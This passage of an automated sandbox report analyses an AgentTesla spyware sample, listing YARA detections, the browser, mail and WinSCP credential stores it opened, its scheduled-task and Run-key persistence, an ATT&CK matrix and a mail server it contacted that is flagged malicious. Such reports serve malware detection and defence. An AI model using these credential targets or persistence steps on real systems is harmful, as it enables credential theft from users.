Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Queries volume information: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Queries volume information: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Queries volume information: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation

Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 9.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ECXXCuFHUVw.exe.4728ae8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ECXXCuFHUVw.exe.4728ae8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ECXXCuFHUVw.exe.46edac8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.oBMlky3Rkm7h5QK.exe.410cad0.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.oBMlky3Rkm7h5QK.exe.4147af0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ECXXCuFHUVw.exe.46edac8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.oBMlky3Rkm7h5QK.exe.410cad0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.oBMlky3Rkm7h5QK.exe.4147af0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2133378984.0000000002571000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3307025913.0000000003348000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2133378984.000000000259C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2104684722.0000000004A32000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2131866829.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2155259832.00000000046ED000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2104684722.000000000410C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3307025913.0000000003301000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: oBMlky3Rkm7h5QK.exe PID: 3544, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 1936, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ECXXCuFHUVw.exe PID: 2136, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 3636, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Source: Yara match	File source: 9.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ECXXCuFHUVw.exe.4728ae8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ECXXCuFHUVw.exe.4728ae8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ECXXCuFHUVw.exe.46edac8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.oBMlky3Rkm7h5QK.exe.410cad0.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.oBMlky3Rkm7h5QK.exe.4147af0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ECXXCuFHUVw.exe.46edac8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.oBMlky3Rkm7h5QK.exe.410cad0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.oBMlky3Rkm7h5QK.exe.4147af0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2133378984.0000000002571000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2104684722.0000000004A32000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2131866829.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2155259832.00000000046ED000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2104684722.000000000410C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3307025913.0000000003301000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: oBMlky3Rkm7h5QK.exe PID: 3544, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 1936, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ECXXCuFHUVw.exe PID: 2136, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 3636, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 9.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ECXXCuFHUVw.exe.4728ae8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ECXXCuFHUVw.exe.4728ae8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ECXXCuFHUVw.exe.46edac8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.oBMlky3Rkm7h5QK.exe.410cad0.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.oBMlky3Rkm7h5QK.exe.4147af0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ECXXCuFHUVw.exe.46edac8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.oBMlky3Rkm7h5QK.exe.410cad0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.oBMlky3Rkm7h5QK.exe.4147af0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2133378984.0000000002571000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3307025913.0000000003348000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2133378984.000000000259C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2104684722.0000000004A32000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2131866829.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2155259832.00000000046ED000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2104684722.000000000410C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3307025913.0000000003301000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: oBMlky3Rkm7h5QK.exe PID: 3544, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 1936, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ECXXCuFHUVw.exe PID: 2136, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 3636, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	311 Process Injection	1 Deobfuscate/Decode Files or Information	1 Input Capture	24 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	3 Obfuscated Files or Information	1 Credentials in Registry	211 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	12 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	1 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	141 Virtualization/Sandbox Evasion	SSH	Keylogging	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	141 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	311 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Hidden Files and Directories	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
oBMlky3Rkm7h5QK.exe	68%	ReversingLabs	ByteCode-MSIL.Spyware.Negasteal
oBMlky3Rkm7h5QK.exe	60%	Virustotal		Browse
oBMlky3Rkm7h5QK.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	68%	ReversingLabs	ByteCode-MSIL.Spyware.Negasteal
C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	69%	Virustotal		Browse
C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	0%	ReversingLabs
C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	0%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://mail.pacificindia.com	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ipify.org	104.26.12.205	true	false		high
mail.pacificindia.com	23.226.124.127	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.ipify.org	oBMlky3Rkm7h5QK.exe, 00000000.00000002.2104684722.000000000410C000.00000004.00000800.00020000.00000000.sdmp, oBMlky3Rkm7h5QK.exe, 00000000.00000002.2104684722.0000000004A32000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000009.00000002.2133378984.0000000002521000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000009.00000002.2131866829.0000000000402000.00000040.00000400.00020000.00000000.sdmp, ECXXCuFHUVw.exe, 0000000A.00000002.2155259832.00000000046ED000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.3307025913.00000000032BC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://account.dyn.com/	oBMlky3Rkm7h5QK.exe, 00000000.00000002.2104684722.000000000410C000.00000004.00000800.00020000.00000000.sdmp, oBMlky3Rkm7h5QK.exe, 00000000.00000002.2104684722.0000000004A32000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000009.00000002.2131866829.0000000000402000.00000040.00000400.00020000.00000000.sdmp, ECXXCuFHUVw.exe, 0000000A.00000002.2155259832.00000000046ED000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ipify.org/t	RegSvcs.exe, 00000009.00000002.2133378984.0000000002521000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.3307025913.00000000032BC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	oBMlky3Rkm7h5QK.exe, 00000000.00000002.2104108311.0000000002E2E000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000009.00000002.2133378984.0000000002521000.00000004.00000800.00020000.00000000.sdmp, ECXXCuFHUVw.exe, 0000000A.00000002.2152988500.000000000340E000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.3307025913.00000000032BC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mail.pacificindia.com	RegSvcs.exe, 00000009.00000002.2133378984.000000000259C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.3307025913.0000000003348000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.26.12.205	api.ipify.org	United States		13335	CLOUDFLARENETUS	false
23.226.124.127	mail.pacificindia.com	United States		27257	WEBAIR-INTERNETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1417528
Start date and time:	2024-03-29 15:01:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	oBMlky3Rkm7h5QK.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@23/19@2/2
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 100% Number of executed functions: 210 Number of non-executed functions: 12
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target qZeUnR.exe, PID 5752 because it is empty
Execution Graph export aborted for target qZeUnR.exe, PID 6596 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
15:01:57	API Interceptor	1x Sleep call for process: oBMlky3Rkm7h5QK.exe modified
15:02:00	Task Scheduler	Run new task: ECXXCuFHUVw path: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe
15:02:00	API Interceptor	44x Sleep call for process: powershell.exe modified
15:02:02	API Interceptor	1x Sleep call for process: ECXXCuFHUVw.exe modified
15:02:02	API Interceptor	77x Sleep call for process: RegSvcs.exe modified
15:02:04	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run qZeUnR C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe
